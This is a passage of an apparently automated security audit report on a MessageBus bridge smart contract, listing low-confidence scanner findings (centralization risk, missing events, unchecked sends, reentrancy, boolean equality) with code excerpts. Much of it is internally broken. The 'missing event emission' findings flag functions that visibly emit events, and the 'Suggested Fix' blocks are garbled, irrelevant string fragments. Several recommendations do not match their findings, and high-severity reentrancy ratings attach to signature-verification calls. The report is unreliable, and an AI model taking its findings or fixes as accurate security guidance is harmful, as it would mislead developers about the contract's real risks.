**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-008. centralization\_risk

| PROPERTY          | VALUE |
|-------------------|-------|
| <b>Severity</b>   | LOW   |
| <b>Category</b>   |       |
| <b>CVSS Score</b> | 3.1   |



| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Confidence  | 33%                                                                  |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:774</code> |
| Status      | Open (33% conf.)                                                     |
| Detected By | fouranalyzer                                                         |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```

['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);',
'+}']

```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-009. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:780 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

Contract has centralization risk - single owner or admin can control critical functions

### Vulnerable Code

```
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Implement multi-sig or timelock for privileged operations

### Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

### References

- SWC-105

- OWASP Smart Contract Top 10

## F-010. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:786 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

Contract has centralization risk - single owner or admin can control critical functions

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Implement multi-sig or timelock for privileged operations

### Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' , ' _setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-011. missing\_event\_emission

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:762 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

State-changing function does not emit an event for off-chain tracking

## Vulnerable Code

```
757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Emit events for all state-changing operations

## References

- OWASP Smart Contract Top 10

## F-012. missing\_event\_emission

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:768 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

State-changing function does not emit an event for off-chain tracking

### Vulnerable Code

```
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Emit events for all state-changing operations

### References

- OWASP Smart Contract Top 10

## F-013. missing\_event\_emission

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:774 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

State-changing function does not emit an event for off-chain tracking

### Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Emit events for all state-changing operations

### References

- OWASP Smart Contract Top 10

## F-014. missing\_event\_emission

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:780 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

State-changing function does not emit an event for off-chain tracking

### Vulnerable Code

```
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Emit events for all state-changing operations

### References

- OWASP Smart Contract Top 10

## F-015. missing\_event\_emission

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:786 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

### Description

State-changing function does not emit an event for off-chain tracking

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Emit events for all state-changing operations

### References

- OWASP Smart Contract Top 10



## F-016. eth-send-unchecked-address

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | MEDIUM                                 |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:364 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

### Vulnerable Code

```

359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
>> 364 |      function withdrawFee(
365 |          address _account,
366 |          uint256 _cumulativeFee,
367 |          bytes[] calldata _sigs,
368 |          address[] calldata _signers,
369 |          uint256[] calldata _powers

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Always check return value of low-level calls or use SafeERC20

### References

- SWC-104
- OWASP Smart Contract Top 10

## F-017. eth-send-unchecked-address

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | MEDIUM                                 |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:498 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

### Vulnerable Code

```

493 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A relay must be signed-off by
494 |      * +2/3 of the sigsVerifier's current signing power to be delivered.
495 |      * @param _signers The sorted list of signers.
496 |      * @param _powers The signing powers of the signers.
497 |      */
>> 498 |      function executeMessageWithTransfer(
499 |          bytes calldata _message,
500 |          TransferInfo calldata _transfer,
501 |          bytes[] calldata _sigs,
502 |          address[] calldata _signers,
503 |          uint256[] calldata _powers

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Always check return value of low-level calls or use SafeERC20

### References

- SWC-104
- OWASP Smart Contract Top 10

## F-018. eth-send-unchecked-address

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | MEDIUM                                 |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:539 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

### Vulnerable Code

```

534 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A relay must be signed-off by
535 |      * +2/3 of the sigsVerifier's current signing power to be delivered.
536 |      * @param _signers The sorted list of signers.
537 |      * @param _powers The signing powers of the signers.
538 |      */
>> 539 |      function executeMessageWithTransferRefund(
540 |          bytes calldata _message, // the same message associated with the
original transfer
541 |          TransferInfo calldata _transfer,
542 |          bytes[] calldata _sigs,
543 |          address[] calldata _signers,
544 |          uint256[] calldata _powers

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Always check return value of low-level calls or use SafeERC20

### References

- SWC-104
- OWASP Smart Contract Top 10

## F-019. eth-send-unchecked-address

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | MEDIUM                                 |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:572 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

### Vulnerable Code

```

567 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A relay must be signed-off by
568 |      * +2/3 of the sigsVerifier's current signing power to be delivered.
569 |      * @param _signers The sorted list of signers.
570 |      * @param _powers The signing powers of the signers.
571 |      */
>> 572 |      function executeMessage(
573 |          bytes calldata _message,
574 |          RouteInfo calldata _route,
575 |          bytes[] calldata _sigs,
576 |          address[] calldata _signers,
577 |          uint256[] calldata _powers

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Always check return value of low-level calls or use SafeERC20

### References

- SWC-104
- OWASP Smart Contract Top 10

## F-020. reentrancy-state-change

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | HIGH                                   |
| Category    |                                        |
| CVSS Score  | 9.6                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:372 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

### Vulnerable Code

```

367 |         bytes[] calldata _sigs,
368 |         address[] calldata _signers,
369 |         uint256[] calldata _powers
370 |     ) external {
371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
>> 372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-021. reentrancy-state-change

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | HIGH                                   |
| Category    |                                        |
| CVSS Score  | 9.6                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:513 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

### Vulnerable Code

```

508 |         bytes32 messageId = verifyTransfer(_transfer);
509 |         require(executedMessages[messageId] == TxStatus.Null, "transfer
already executed");
510 |         executedMessages[messageId] = TxStatus.Pending;
511 |
512 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransfer"));
>> 513 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
514 |         TxStatus status;
515 |         bool success = executeMessageWithTransfer(_transfer, _message);
516 |         if (success) {
517 |             status = TxStatus.Success;
518 |         } else {

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-022. reentrancy-state-change

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | HIGH                                   |
| Category    |                                        |
| CVSS Score  | 9.6                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:552 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

### Vulnerable Code

```

547 |         bytes32 messageId = verifyTransfer(_transfer);
548 |         require(executedMessages[messageId] == TxStatus.Null, "transfer
already executed");
549 |         executedMessages[messageId] = TxStatus.Pending;
550 |
551 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransferRefund"));
>> 552 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
553 |         TxStatus status;
554 |         bool success = executeMessageWithTransferRefund(_transfer, _message);
555 |         if (success) {
556 |             status = TxStatus.Success;
557 |         } else {

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-023. reentrancy-state-change

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | HIGH                                   |
| Category    |                                        |
| CVSS Score  | 9.6                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:586 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

### Vulnerable Code

```

581 |         bytes32 messageId = computeMessageOnlyId(_route, _message);
582 |         require(executedMessages[messageId] == TxStatus.Null, "message already
executed");
583 |         executedMessages[messageId] = TxStatus.Pending;
584 |
585 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "Message"));
>> 586 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId), _sigs, _signers, _powers);
587 |         TxStatus status;
588 |         bool success = executeMessage(_route, _message);
589 |         if (success) {
590 |             status = TxStatus.Success;
591 |         } else {

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

### References

- SWC-107
- OWASP Smart Contract Top 10



## F-024. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:677 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

672 |             uint64(block.chainid),
673 |             _transfer.refId
674 |         )
675 |     );
676 |     bridgeAddr = liquidityBridge;
>> 677 |     require(IBridge(bridgeAddr).transfers(transferId) == true, "bridge
relay not exist");
678 |     } else if (_transfer.t == TransferType.LqWithdraw) {
679 |         transferId = keccak256(
680 |             abi.encodePacked(
681 |                 uint64(block.chainid),
682 |                 _transfer.seqnum,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-025. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:689 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

684 |         _transfer.token,
685 |         _transfer.amount
686 |     )
687 | );
688 | bridgeAddr = liquidityBridge;
>> 689 | require(IBridge(bridgeAddr).withdraws(transferId) == true, "bridge
withdraw not exist");
690 |     } else if (_transfer.t == TransferType.PegMint || _transfer.t ==
TransferType.PegWithdraw) {
691 |         transferId = keccak256(
692 |             abi.encodePacked(
693 |                 _transfer.receiver,
694 |                 _transfer.token,

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-026. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:703 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

698 |         _transfer.refId
699 |     )
700 | };
701 | if (_transfer.t == TransferType.PegMint) {
702 |     bridgeAddr = pegBridge;
>> 703 |     require(IPeggedTokenBridge(bridgeAddr).records(transferId) ==
true, "mint record not exist");
704 | } else {
705 |     // _transfer.t == TransferType.PegWithdraw
706 |     bridgeAddr = pegVault;
707 |     require(IOOriginalTokenVault(bridgeAddr).records(transferId) ==
true, "withdraw record not exist");
708 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-027. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:707 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

702 |         bridgeAddr = pegBridge;
703 |         require(IPeggedTokenBridge(bridgeAddr).records(transferId) ==
true, "mint record not exist");
704 |     } else {
705 |         // _transfer.t == TransferType.PegWithdraw
706 |         bridgeAddr = pegVault;
>> 707 |         require(IOOriginalTokenVault(bridgeAddr).records(transferId) ==
true, "withdraw record not exist");
708 |     }
709 |     } else if (_transfer.t == TransferType.PegMintV2 || _transfer.t ==
TransferType.PegWithdrawV2) {
710 |         if (_transfer.t == TransferType.PegMintV2) {
711 |             bridgeAddr = pegBridgeV2;
712 |         } else {

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-028. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:728 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

723 |         _transfer.refId,
724 |         bridgeAddr
725 |     )
726 | };
727 | if (_transfer.t == TransferType.PegMintV2) {
>> 728 |     require(IPeggedTokenBridgeV2(bridgeAddr).records(transferId)
== true, "mint record not exist");
729 | } else {
730 |     // TransferType.PegWithdrawV2
731 |     require(IOriginalTokenVaultV2(bridgeAddr).records(transferId)
== true, "withdraw record not exist");
732 | }
733 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-029. boolean-equality

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:731 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If `x` is a boolean, use `if(x)` and `if(!x)` instead of `if(x == true)` or `if(x == false)`.

### Vulnerable Code

```

726 |         );
727 |         if (_transfer.t == TransferType.PegMintV2) {
728 |             require(IPeggedTokenBridgeV2(bridgeAddr).records(transferId)
== true, "mint record not exist");
729 |         } else {
730 |             // TransferType.PegWithdrawV2
>> 731 |             require(IOriginalTokenVaultV2(bridgeAddr).records(transferId)
== true, "withdraw record not exist");
732 |         }
733 |     }
734 |     return keccak256(abi.encodePacked(MsgType.MessageWithTransfer,
bridgeAddr, transferId));
735 | }
736 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-030. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:272 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

267 |
268 |     /**
269 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
270 |      * Can only be called by the current owner.
271 |      */
>> 272 |     function transferOwnership(address newOwner) public virtual onlyOwner {
273 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
274 |         _setOwner(newOwner);
275 |     }
276 |
277 |     function _setOwner(address newOwner) private {

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-031. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:286 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```
281 |     }
282 | }
283 |
284 | // MessageBus/src/message/messagebus/MessageBusSender.sol
285 |
>> 286 | contract MessageBusSender is Ownable {
287 |     ISigsVerifier public immutable sigsVerifier;
288 |
289 |     uint256 public feeBase;
290 |     uint256 public feePerByte;
291 |     mapping(address => uint256) public withdrawnFees;
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10



## F-032. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:391 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-033. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:396 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-034. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:404 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

399 |     }
400 | }
401 |
402 | // MessageBus/src/message/messagebus/MessageBusReceiver.sol
403 |
>> 404 | contract MessageBusReceiver is Ownable {
405 |     enum TransferType {
406 |         Null,
407 |         LqSend, // send through liquidity bridge
408 |         LqWithdraw, // withdraw from liquidity bridge
409 |         PegMint, // mint through pegged token bridge

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-035. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:762 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

